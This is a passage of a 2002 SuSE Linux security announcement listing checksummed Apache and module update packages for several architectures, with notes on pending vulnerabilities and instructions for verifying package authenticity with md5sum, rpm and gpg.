25bab6ad73f4f1150d6cec7281a1e17e ftp://ftp.suse.de/pub/suse/i386/update/7.0/zq1/apache-1.3.19-128.src.rpm a771685ee0209cbff19172f022dec688 ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/mod_perl-1.24-147.src.rpm c9738ee2d6d8b32a0fbeef3ac36f1329 ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/mod_php4-4.0.4pl1-135.src.r… 68013bd4050dff75267cdde07894e5d8 ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/mod_php-3.0.17RC1-58.src.rpm 22eac6d9e2ea7dc1ecdd075ed806e09e ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/backhand-1.1.0-111.src.rpm 0af36db7673397ddccec74d19b706ee6 ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/mod_dav-1.0.0-76.src.rpm 6b7c79e64701613215ada1a4d53aec91 ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/jserv-1.1.2-502.src.rpm 46192bc2409dcb240f7e203d02650133 ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/authldap-1.4.3-128.src.rpm 591295b3f2bb56a644b641e62b1ba195 ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/midgard-1.2.5-139.src.rpm eaa592b6633747e4db2563fa292feed3 ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/modcontr-1.0.7-180.src.rpm 7d2a2b4ab1527ac904653852f81bceff Sparc Platform: SuSE-7.3: ftp://ftp.suse.com/pub/suse/sparc/update/7.3/d2/mm-1.1.3-163.sparc.rpm 49f3fe206956a1a3fc7b458c24c8c4aa ftp://ftp.suse.com/pub/suse/sparc/update/7.3/n2/apache-1.3.20-37.sparc.rpm fe6557db211999db5f0fabe83fa077d5 ftp://ftp.suse.com/pub/suse/sparc/update/7.3/n2/apache-devel-1.3.20-37.spar… c2c026c6d261d2e5897fec5c60249716 ftp://ftp.suse.com/pub/suse/sparc/update/7.3/n2/apache-doc-1.3.20-37.sparc.… d4d6ad971135244c0e3938d87cefcb80 ftp://ftp.suse.com/pub/suse/sparc/update/7.3/sec2/mod_ssl-2.8.4-37.sparc.rpm 47a94a2bb0f6ccf854ae3970cfb8874c ftp://ftp.suse.com/pub/suse/sparc/update/7.3/n2/mod_php4-4.0.6-62.sparc.rpm 42a176df1d89f740bea937737a60bb67 ftp://ftp.suse.com/pub/suse/sparc/update/7.3/n3/mod_php4-aolserver-4.0.6-62… b73eb4a1f3cb3d0fc2b2a7eb5a357afd ftp://ftp.suse.com/pub/suse/sparc/update/7.3/n1/mod_php4-core-4.0.6-62.spar… b323faab5c8040dcebd6c0420a3cb4f0 ftp://ftp.suse.com/pub/suse/sparc/update/7.3/n2/mod_php4-servlet-4.0.6-62.s… 665777aff7bc20714c87c9e667485ee5 source rpm(s): ftp://ftp.suse.com/pub/suse/sparc/update/7.3/zq1/mm-1.1.3-163.src.rpm 7dc8bc4d87a6d2ff16feedd8d3dc5c66 ftp://ftp.suse.com/pub/suse/sparc/update/7.3/zq1/apache-1.3.20-37.src.rpm 169159db64df8fa0cae0f60f4db41589 ftp://ftp.suse.com/pub/suse/sparc/update/7.3/zq1/mod_php4-4.0.6-62.src.rpm e38f96d6fe0d402c12ba8eda8ec491f0 SuSE-7.1: ftp://ftp.suse.com/pub/suse/sparc/update/7.1/n2/apache-1.3.19-49.sparc.rpm 32c9971c037a1bac16affcc507d28b63 ftp://ftp.suse.com/pub/suse/sparc/update/7.1/sec2/mod_ssl-2.8.1-1.sparc.rpm f132a39123116cbc8e128731943ed029 ftp://ftp.suse.com/pub/suse/sparc/update/7.1/n2/mod_perl-1.24-128.sparc.rpm 353fca07949d60cf909e51c3857b3e9e ftp://ftp.suse.com/pub/suse/sparc/update/7.1/n2/mod_php4-4.0.4pl1-45.sparc.… a6146130f0c20821696406e62ab22863 ftp://ftp.suse.com/pub/suse/sparc/update/7.1/n2/backhand-1.1.0-59.sparc.rpm 0fe33877bd4f333417e99124440113ce ftp://ftp.suse.com/pub/suse/sparc/update/7.1/n2/mod_dav-1.0.2-164.sparc.rpm 1baac459d4f7896cc21b49bb5b2d8916 ftp://ftp.suse.com/pub/suse/sparc/update/7.1/n2/jserv-1.1.2-205.sparc.rpm f6766f8f07d69974f9d03c72d0eab9c5 ftp://ftp.suse.com/pub/suse/sparc/update/7.1/n2/mod_python-2.7.1-20.sparc.r… 24ba679811070bab8bb9b83ef0329985 ftp://ftp.suse.com/pub/suse/sparc/update/7.1/n2/authldap-1.4.3-106.sparc.rpm 75bde1dc0cf352aa91bd1875c2f82bda ftp://ftp.suse.com/pub/suse/sparc/update/7.1/n2/apache-contrib-1.0.8-29.spa… 25c75cc6bc32e4e159900bddedc38a75 source rpm(s): ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/apache-1.3.19-49.src.rpm cca2410a53867c836294b4049dfd0ff3 ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/mod_perl-1.24-128.src.rpm 188c727c600c773be2f3b5367cc33307 ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/mod_php4-4.0.4pl1-45.src.r… e1019229ec79ea7175f188ecc348e2b6 ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/backhand-1.1.0-59.src.rpm 9b97d1620850aa1c49ea7a5746b5e748 ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/mod_dav-1.0.2-164.src.rpm 790ca561ec203537868d5e5913cc6980 ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/jserv-1.1.2-205.src.rpm c7a59008a5669898bd250ce089b1a74c ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/mod_python-2.7.1-20.src.rpm 82f32f7eb5dbd9d7fa87d49847cba5ad ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/authldap-1.4.3-106.src.rpm adcf58402e42b554cb9c3bb850e933ef ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/apache-contrib-1.0.8-29.sr… d53b18eb2e7f081d09835f83e2bf4b69 SuSE-7.0: ftp://ftp.suse.com/pub/suse/sparc/update/7.0/n1/apache-1.3.19-48.sparc.rpm 14e03ab2bb5cc587ed051ccc53f9683b ftp://ftp.suse.de/pub/suse/sparc/update/7.0/sec1/mod_ssl-2.8.2-15.sparc.rpm ae7ee0e77e3d54bbf988d25803bf8ee3 ftp://ftp.suse.com/pub/suse/sparc/update/7.0/n1/mod_perl-1.24-115.sparc.rpm ef801194a2690f8bbf60de7d182d9fbf ftp://ftp.suse.com/pub/suse/sparc/update/7.0/n1/mod_php4-4.0.4pl1-41.sparc.… 3f45012cd6d991b1fff0a317001dc9bb ftp://ftp.suse.com/pub/suse/sparc/update/7.0/n1/mod_php-3.0.17RC1-47.sparc.… 14c13b4c207039010216e847823c2eed ftp://ftp.suse.com/pub/suse/sparc/update/7.0/n1/backhand-1.1.0-43.sparc.rpm 87fe2e0b58c15b37a317d8ebcf619979 ftp://ftp.suse.com/pub/suse/sparc/update/7.0/n1/mod_dav-1.0.0-30.sparc.rpm e8c0b56c70b2eb623be1b6d88344fc2c ftp://ftp.suse.com/pub/suse/sparc/update/7.0/n1/jserv-1.1.2-96.sparc.rpm a8d9530c4a99936c018e1a5059639cfd ftp://ftp.suse.com/pub/suse/sparc/update/7.0/n1/modcontr-1.0.7-131.sparc.rpm be961c916e1bf19815d8ef71fb33abb5 source rpm(s): ftp://ftp.suse.de/pub/suse/sparc/update/7.0/zq1/apache-1.3.19-48.src.rpm 82e2eb57870999d2f27a68ad56a7a7cd ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/mod_perl-1.24-115.src.rpm d86300c00c6ec17fa8ced928b2ff3e30 ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/mod_php4-4.0.4pl1-41.src.r… 40a6a3a4f3f4b9157b54ae0fad30b1c5 ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/mod_php-3.0.17RC1-47.src.r… c9b771b7166a1bd580ef6c046322329d ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/backhand-1.1.0-43.src.rpm af219f0f4cfbc08bb6bcf135c0cd7c25 ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/mod_dav-1.0.0-30.src.rpm ef41264ef307bb40df90e61c6622a20d ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/jserv-1.1.2-96.src.rpm e7f172ec2da2303a0955d50b968493a3 ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/modcontr-1.0.7-131.src.rpm 0acda30851c65a62ea1750dfd9cf83b6 AXP Alpha Platform: SuSE-7.1: ftp://ftp.suse.com/pub/suse/axp/update/7.1/d2/mm-1.1.3-165.alpha.rpm 998a911dfe55b65a5b2256c3d6e25713 ftp://ftp.suse.com/pub/suse/axp/update/7.1/n2/apache-1.3.19-51.alpha.rpm 0350e30820babfdbcc9e623278bae856 ftp://ftp.suse.com/pub/suse/axp/update/7.1/sec2/mod_ssl-2.8.1-1.alpha.rpm ed2ef466aeaeea8f295d226a301fb265 ftp://ftp.suse.com/pub/suse/axp/update/7.1/n2/mod_perl-1.24-132.alpha.rpm 69cd79c96b0945391ed235562abc1b9f ftp://ftp.suse.com/pub/suse/axp/update/7.1/n2/mod_php4-4.0.4pl1-51.alpha.rpm fe586847938dd9edb0247ca8b7cff783 ftp://ftp.suse.com/pub/suse/axp/update/7.1/n2/mod_php-3.0.17RC1-70.alpha.rpm 12c1206a948156717448ac88854886f5 ftp://ftp.suse.com/pub/suse/axp/update/7.1/n2/backhand-1.1.0-66.alpha.rpm 6a1ccaa4d6a8909dcaaded41ba5ad52e ftp://ftp.suse.com/pub/suse/axp/update/7.1/n2/mod_dav-1.0.2-202.alpha.rpm 8b61cc7c346c67565c62ebe6590f94d8 ftp://ftp.suse.com/pub/suse/axp/update/7.1/n2/jserv-1.1.2-176.alpha.rpm 26a0390f8b41df05bdaabd26116bd8a1 ftp://ftp.suse.com/pub/suse/axp/update/7.1/n2/mod_python-2.7.1-26.alpha.rpm 7279d9e48744c6b094eeb244a926b17d ftp://ftp.suse.com/pub/suse/axp/update/7.1/n2/authldap-1.4.3-118.alpha.rpm 968e4e38f627a3837aa4b2180a877dc7 ftp://ftp.suse.com/pub/suse/axp/update/7.1/n2/apache-contrib-1.0.8-31.alpha… 20d0a595892c4fd756d1ab6b5874b6f0 source rpm(s): ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/mm-1.1.3-165.src.rpm 19f18c3e86eb109d77095c875e5f73c7 ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/apache-1.3.19-51.src.rpm d4e28fef2f9c12ddb95dc77e3446859e ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/mod_perl-1.24-132.src.rpm 450eb28046034c68d82c3f6f4a9fded6 ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/mod_php4-4.0.4pl1-51.src.rpm 8d29fc9aaacaba7106ee13faf974ffbe ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/mod_php-3.0.17RC1-70.src.rpm 0dce3e3865937ee1ae4c7db5f7120f4b ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/backhand-1.1.0-66.src.rpm bc414c2833da59ec43480b66e4d0784d ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/mod_dav-1.0.2-202.src.rpm b430d13fd943312133b5f5b1c43ecf2c ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/jserv-1.1.2-176.src.rpm dcd6c2038d2b8b0635cbe9109739362e ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/mod_python-2.7.1-26.src.rpm bf62a8bb486c28379b8d0efb601eb803 ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/authldap-1.4.3-118.src.rpm 19e7b264fadcee77bccabbf2a2db7959 ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/apache-contrib-1.0.8-31.src.… 84ff5f7d5560a081cc7dc822dcb2ecab SuSE-7.0: The packages for the Alpha distribution version 7.0 are not complete yet. They will be stored on the ftp server as soon as they are ready. PPC Power PC Platform: SuSE-7.3: ftp://ftp.suse.com/pub/suse/ppc/update/7.3/d2/mm-1.1.3-202.ppc.rpm 0404de25c9dacfa1e37901bc0ecd6117 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n2/apache-1.3.20-55.ppc.rpm 4ef5bd577cd45fd539ca4ec05574edae ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n2/apache-devel-1.3.20-55.ppc.rpm 8ed607b836d475eb2941a6b36cc78833 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n2/apache-doc-1.3.20-55.ppc.rpm 2cefc4ccefb0a4d0cf67454132405483 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/sec2/mod_ssl-2.8.4-55.ppc.rpm ed34a6e5a36d9e0ef84e4c1a6b561946 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n2/mod_perl-1.26-225.ppc.rpm b690231096c10d3765cd8909e509fb1e ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n2/mod_php4-4.0.6-99.ppc.rpm 52421717b8fdd0c9ee4d96d3f0bb1e89 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n3/mod_php4-aolserver-4.0.6-99.p… d7c43dae215ca23e44805e49c203c31d ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n1/mod_php4-core-4.0.6-99.ppc.rpm 63ad81ea8ceda9076f548a3a67dfb48d ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n2/mod_php4-servlet-4.0.6-99.ppc… 127f7e1ca5829e0960a52e25def01385 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n2/backhand-1.2.0-163.ppc.rpm 10bf41c54f45968d74fad92f9269351c ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n2/mod_dav-1.0.2-310.ppc.rpm 380d510f23474fa630cfb885038c94c2 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n2/jserv-1.1.2-324.ppc.rpm 7c1d5b7ec884123f7b724337f381cd01 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n2/mod_python-2.7.5-79.ppc.rpm d549566fc5fbd6583813a835ac9c0a59 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n2/authldap-1.6.0-204.ppc.rpm e80e8ebd03e6cbee312b25767c656dcf ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n2/apache-contrib-1.0.9-228.ppc.… c3352e0c88680a5007bb54605ae185e7 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n3/midgard-1.4-106.ppc.rpm 5702d5c842432049e72e1cd05af452e8 source rpm(s): ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/mm-1.1.3-202.src.rpm 804e8bc6beb40336bd6b2315aa4ef8d6 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/apache-1.3.20-55.src.rpm af515810c15110225de094dd797e3574 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/mod_perl-1.26-225.src.rpm 9f337e3a67235f0e67187c7d09ef9e4a ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/mod_php4-4.0.6-99.src.rpm df7274f651888c62ad3693d3672ccc00 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/backhand-1.2.0-163.src.rpm ecfacafb0e3b62b179937c8baf4076af ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/mod_dav-1.0.2-310.src.rpm 051c6bb5505d71272afd3060efa180d8 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/jserv-1.1.2-324.src.rpm 7661e5dfea3fc76a3d2ff043efe6f6a5 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/mod_python-2.7.5-79.src.rpm b6a7f27b4402d69826dcdc10a12759b7 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/authldap-1.6.0-204.src.rpm b1d188bba47beda69bcfab0c0d8deed8 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/apache-contrib-1.0.9-228.src… d0f2a55e5ee61aa577c60045ffebe5ff ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/midgard-1.4-106.src.rpm 6c721fef3cf9ab945c9b635b5f7e9851 SuSE-7.1: ftp://ftp.suse.com/pub/suse/ppc/update/7.1/d2/mm-1.1.3-203.ppc.rpm 213ff503bbf96cf2274ce0cf7e71ebf5 ftp://ftp.suse.com/pub/suse/ppc/update/7.1/n2/apache-1.3.19-65.ppc.rpm 40a409a2fd403cf2944df49de7815f84 ftp://ftp.suse.com/pub/suse/ppc/update/7.1/sec2/mod_ssl-2.8.1-4.ppc.rpm 97a60f4d061041a6bd29a759a337938f ftp://ftp.suse.com/pub/suse/ppc/update/7.1/n2/mod_perl-1.24-83.ppc.rpm 390515fcccc048f18c880b8f3cb5526d ftp://ftp.suse.com/pub/suse/ppc/update/7.1/n2/mod_php4-4.0.4pl1-53.ppc.rpm b43d618d2eba73477dd8f9e2d2215118 ftp://ftp.suse.com/pub/suse/ppc/update/7.1/n2/backhand-1.1.0-41.ppc.rpm 36707af322e70bdc6ef9727aca19b03a ftp://ftp.suse.com/pub/suse/ppc/update/7.1/n2/mod_dav-1.0.2-319.ppc.rpm 0169551d5e17ee082ab286453c3f3cb6 ftp://ftp.suse.com/pub/suse/ppc/update/7.1/n2/jserv-1.1.2-330.ppc.rpm 87aff3b0eed83b0d72c754e5b7d094ae ftp://ftp.suse.com/pub/suse/ppc/update/7.1/n2/mod_python-2.7.1-28.ppc.rpm 0a967d886c9daad7741b89ac1410e8ba ftp://ftp.suse.com/pub/suse/ppc/update/7.1/n2/authldap-1.4.3-118.ppc.rpm bad820d962ce7b1b6be10123497be87e ftp://ftp.suse.com/pub/suse/ppc/update/7.1/n2/apache-contrib-1.0.8-31.ppc.r… 370e1484bdb74fe749fda720abe43bee source rpm(s): ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/mm-1.1.3-203.src.rpm b2458ce178e01d955166aa43d3b9ab89 ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/apache-1.3.19-65.src.rpm 06175e8609d73e0c5c81299e8bc7c6c0 ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/mod_perl-1.24-83.src.rpm 7ac7a87a7ec70f653a69214c984ce7d8 ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/mod_php4-4.0.4pl1-53.src.rpm f9457dc7736cdfecaa2e4a7a01c0c53f ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/backhand-1.1.0-41.src.rpm f9edc290e1ab4d6a245d95bfd27070de ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/mod_dav-1.0.2-319.src.rpm c4f35dcb94d9f4197ba35e2a44c3a4da ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/jserv-1.1.2-330.src.rpm 49d877969b44fa2e7ba7692d9e83497c ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/mod_python-2.7.1-28.src.rpm a2b5fc8410ea609f8c92c97f39b48e9e ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/authldap-1.4.3-118.src.rpm 7054a855e5287b2a95ef0e8fd279984c ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/apache-contrib-1.0.8-31.src.… e4d8ee2b77e54c1704ec7e1a484ba46a SuSE-7.0: ftp://ftp.suse.com/pub/suse/ppc/update/7.0/d1/mm-1.1.1-73.ppc.rpm 6f484521130970a1c37921d18ea3e7e2 ftp://ftp.suse.com/pub/suse/ppc/update/7.0/n1/apache-1.3.19-66.ppc.rpm f8041699c929eabfd80d9f2458996b36 ftp://ftp.suse.de/pub/suse/ppc/update/7.0/sec1/mod_ssl-2.8.2-21.ppc.rpm fe164339b4d3f3ae81741188258d406e ftp://ftp.suse.com/pub/suse/ppc/update/7.0/n1/mod_perl-1.24-76.ppc.rpm 096cae400e7d3346c24f060bb5a5d261 ftp://ftp.suse.com/pub/suse/ppc/update/7.0/n1/mod_php4-4.0.4pl1-45.ppc.rpm 56d6fb88d0032f5dcc12397f295e42b2 ftp://ftp.suse.com/pub/suse/ppc/update/7.0/n1/mod_php-3.0.17RC1-35.ppc.rpm df858916b58af6e730ef3085678c40df ftp://ftp.suse.com/pub/suse/ppc/update/7.0/n1/backhand-1.1.0-35.ppc.rpm b54375203bf08f08ddd22ba21f8b9104 ftp://ftp.suse.com/pub/suse/ppc/update/7.0/n1/mod_dav-1.0.0-74.ppc.rpm de84fe165121a94bcc4eb75d2f45a12c ftp://ftp.suse.com/pub/suse/ppc/update/7.0/n1/jserv-1.1.2-321.ppc.rpm 1d047dc9dda6b736b6afaebd6343e725 ftp://ftp.suse.com/pub/suse/ppc/update/7.0/n1/authldap-1.4.3-112.ppc.rpm baabdfb954b0fd219a9f1be967fad16f ftp://ftp.suse.com/pub/suse/ppc/update/7.0/n2/midgard-1.2.5-35.ppc.rpm 24fbb98381d9fe752ac24aa342bedf2f ftp://ftp.suse.com/pub/suse/ppc/update/7.0/n1/modcontr-1.0.7-177.ppc.rpm f389b6dc0180a386397a466befd20e5b source rpm(s): ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/mm-1.1.1-73.src.rpm e5cf5bc137c9dd6f79d3a18e8b7c555e ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/apache-1.3.19-66.src.rpm 03a18a7e9d0bafd48ff944d2a8b11093 ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/mod_perl-1.24-76.src.rpm 220c732b116e643927b346f7b9855322 ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/mod_php4-4.0.4pl1-45.src.rpm b684c0aa03ec7ec9c8d75f5558bbea1e ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/mod_php-3.0.17RC1-35.src.rpm d09fd0fdff266e8c3f89eb112f39c864 ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/backhand-1.1.0-35.src.rpm e73c96c8ebe64a9a4b5f3a71a267a315 ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/mod_dav-1.0.0-74.src.rpm 7cc52a4ebd688a59ff181ca25d3fbaba ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/jserv-1.1.2-321.src.rpm e895c3dafb9af9449b733420e92f1bdf ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/authldap-1.4.3-112.src.rpm 3baf9c2c3ef443a41d413d782f5ad7ae ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/midgard-1.2.5-35.src.rpm dcb862d0a47cd3d19f802453bc56e642 ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/modcontr-1.0.7-177.src.rpm 63b8654007bc0dfeac75ef6c398db6f3 ______________________________________________________________________________ 2) Pending vulnerabilities in SuSE Distributions and Workarounds: - CORRECTION In last SuSE Security Announcement SuSE-SA:2002:027 about openssl there were two errors in the text. We hereby wish to correct these errors. Line 57 of the announcement lists a temporary workaround against the effects of the openssl vulnerability in the mod_ssl apache SSL module. This line should read: SSLProtocol all -SSLv2 Further down we suggest to use the fuser command to check which processes use the openssl shared libraries. We failed to mention that this is only possible _before_ doing the openssl package update. If you wish to see which packages are using the openssl shared libraries after you have performed the package update, please use the command lsof -n | egrep '/usr/lib/lib(ssl|crypto)' The lsof command is contained in the package "lsof". Unlike the fuser command which is default, the lsof utility may not be installed on your system. - chfn/util-linux Linux distributors have published security announcements about password locking race conditions that lead to a local root vulnerability. SuSE products are not affected by this weakness because we use the user/group management utilities from the shadow package. These utilities are not affected. - libpng libpng is a library that provides functions for applications to handle PNG image files (Portable Network Graphics). An overflow vulnerability has been found in the libpng library that may make it possible for an attacker to run arbitrary code or to crash an application that uses the libpng library if the application in question opens a png image file. We are in the process of fixing this vulnerability. - wwwoffle (World Wide Web Offline Explorer) wwwoffle fails to handle negative Content-Length values correctly. It is believed that an attacker can exploit this bug to gain remote access to the system running wwwoffle. We are working on update packages against this problem. - mod_php4-4.2* Security vulnerabilities have been found in php versions 4.2.0 and 4.2.1. SuSE systems are not affected because these systems use older versions of the php package. - The SuSE Linux 6.4 distribution has been announced to be discontinued in June. We have now moved the update directories for all architectures to the discontinued directory on our ftp server to indicate that no more updates will be made for this distribution. ______________________________________________________________________________ 3) standard appendix: authenticity verification, additional information - Package authenticity verification: SuSE update packages are available on many mirror ftp servers all over the world. While this service is being considered valuable and important to the free and open source software community, many users wish to be sure about the origin of the package and its content before installing the package. There are two verification methods that can be used independently from each other to prove the authenticity of a downloaded file or rpm package: 1) md5sums as provided in the (cryptographically signed) announcement. 2) using the internal gpg signatures of the rpm package. 1) execute the command md5sum <name-of-the-file.rpm> after you downloaded the file from a SuSE ftp server or its mirrors. Then, compare the resulting md5sum with the one that is listed in the announcement. Since the announcement containing the checksums is cryptographically signed (usually using the key security(a)suse.de) the checksums show proof of the authenticity of the package. We disrecommend to subscribe to security lists which cause the email message containing the announcement to be modified so that the signature does not match after transport through the mailing list software. Downsides: You must be able to verify the authenticity of the announcement in the first place. If RPM packages are being rebuilt and a new version of a package is published on the ftp server, all md5 sums for the files are useless. 2) rpm package signatures provide an easy way to verify the authenticity of an rpm package. Use the command rpm -v --checksig <file.rpm> to verify the signature of the package, where <file.rpm> is the filename of the rpm package that you have downloaded. Of course, package authenticity verification can only target an un-installed rpm package file. Prerequisites: a) gpg is installed b) The package is signed using a certain key. The public part of this key must be installed by the gpg program in the directory ~/.gnupg/ under the user's home directory who performs the signature verification (usually root). You can import the key that is used by SuSE in rpm packages for SuSE Linux by saving this announcement to a file ("announcement.txt") and running the command (do "su -" to be root): gpg --batch; gpg < announcement.txt | gpg --import SuSE Linux distributions version 7.1 and thereafter install the key "build(a)suse.de" upon installation or upgrade, provided that the package gpg is installed. The file containing the public key is placed at the top-level directory of the first CD (pubring.gpg) and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de . - SuSE runs two security mailing lists to which any interested party may subscribe: suse-security(a)suse.com - general/linux/SuSE security discussion. All SuSE security announcements are sent to this list. To subscribe, send an email to <suse-security-subscribe(a)suse.com>. suse-security-announce(a)suse.com - SuSE's announce-only mailing list. Only SuSE's security announcements are sent to this list. To subscribe, send an email to <suse-security-announce-subscribe(a)suse.com>. For general information or the frequently asked questions (faq) send mail to: <suse-security-info(a)suse.com> or <suse-security-faq(a)suse.com> respectively. ===================================================================== SuSE's security contact is <security(a)suse.com> or <security(a)suse.de>. The <security(a)suse.de> public key is listed below. ===================================================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. In particular, it is desired that the clear-text signature shows proof of the authenticity of the text. SuSE Linux AG makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team <security(a)suse.de> pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <build(a)suse.de> - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org mQGiBDnu9IERBACT8Y35+2vv4MGVKiLEMOl9GdST6MCkYS3yEKeueNWc+z/0Kvff 4JctBsgs47tjmiI9sl0eHjm3gTR8rItXMN6sJEUHWzDP+Y0PFPboMvKx0FXl/A0d M+HFrruCgBlWt6FA+okRySQiliuI5phwqkXefl9AhkwR8xocQSVCFxcwvwCglVcO QliHu8jwRQHxlRE0tkwQQI0D+wfQwKdvhDplxHJ5nf7U8c/yE/vdvpN6lF0tmFrK XBUX+K7u4ifrZlQvj/81M4INjtXreqDiJtr99Rs6xa0ScZqITuZC4CWxJa9GynBE D3+D2t1V/f8l0smsuYoFOF7Ib49IkTdbtwAThlZp8bEhELBeGaPdNCcmfZ66rKUd G5sRA/9ovnc1krSQF2+sqB9/o7w5/q2qiyzwOSTnkjtBUVKn4zLUOf6aeBAoV6NM CC3Kj9aZHfA+ND0ehPaVGJgjaVNFhPi4x0e7BULdvgOoAqajLfvkURHAeSsxXIoE myW/xC1sBbDkDUIBSx5oej73XCZgnj/inphRqGpsb+1nKFvF+rQoU3VTRSBQYWNr YWdlIFNpZ25pbmcgS2V5IDxidWlsZEBzdXNlLmRlPohcBBMRAgAcBQI57vSBBQkD wmcABAsKAwQDFQMCAxYCAQIXgAAKCRCoTtronIAKyl8sAJ98BgD40zw0GHJHIf6d NfnwI2PAsgCgjH1+PnYEl7TFjtZsqhezX7vZvYCIRgQQEQIABgUCOnBeUgAKCRCe QOMQAAqrpNzOAKCL512FZvv4VZx94TpbA9lxyoAejACeOO1HIbActAevk5MUBhNe LZa/qM2JARUDBRA6cGBvd7LmAD0l09kBATWnB/9An5vfiUUE1VQnt+T/EYklES3t XXaJJp9pHMa4fzFa8jPVtv5UBHGee3XoUNDVwM2OgSEISZxbzdXGnqIlcT08TzBU D9i579uifklLsnr35SJDZ6ram51/CWOnnaVhUzneOA9gTPSr+/fT3WeVnwJiQCQ3 0kNLWVXWATMnsnT486eAOlT6UNBPYQLpUprF5Yryk23pQUPAgJENDEqeU6iIO9Ot 1ZPtB0lniw+/xCi13D360o1tZDYOp0hHHJN3D3EN8C1yPqZd5CvvznYvB6bWBIpW cRgdn2DUVMmpU661jwqGlRz1F84JG/xe4jGuzgpJt9IXSzyohEJB6XG5+D0BiF0E ExECAB0FAjxqqTQFCQoAgrMFCwcKAwQDFQMCAxYCAQIXgAAKCRCoTtronIAKyp1f AJ9dR7saz2KPNwD3U+fy/0BDKXrYGACfbJ8fQcJqCBQxeHvt9yMPDVq0B0W5Ag0E Oe70khAIAISR0E3ozF/la+oNaRwxHLrCet30NgnxRROYhPaJB/Tu1FQokn2/Qld/ 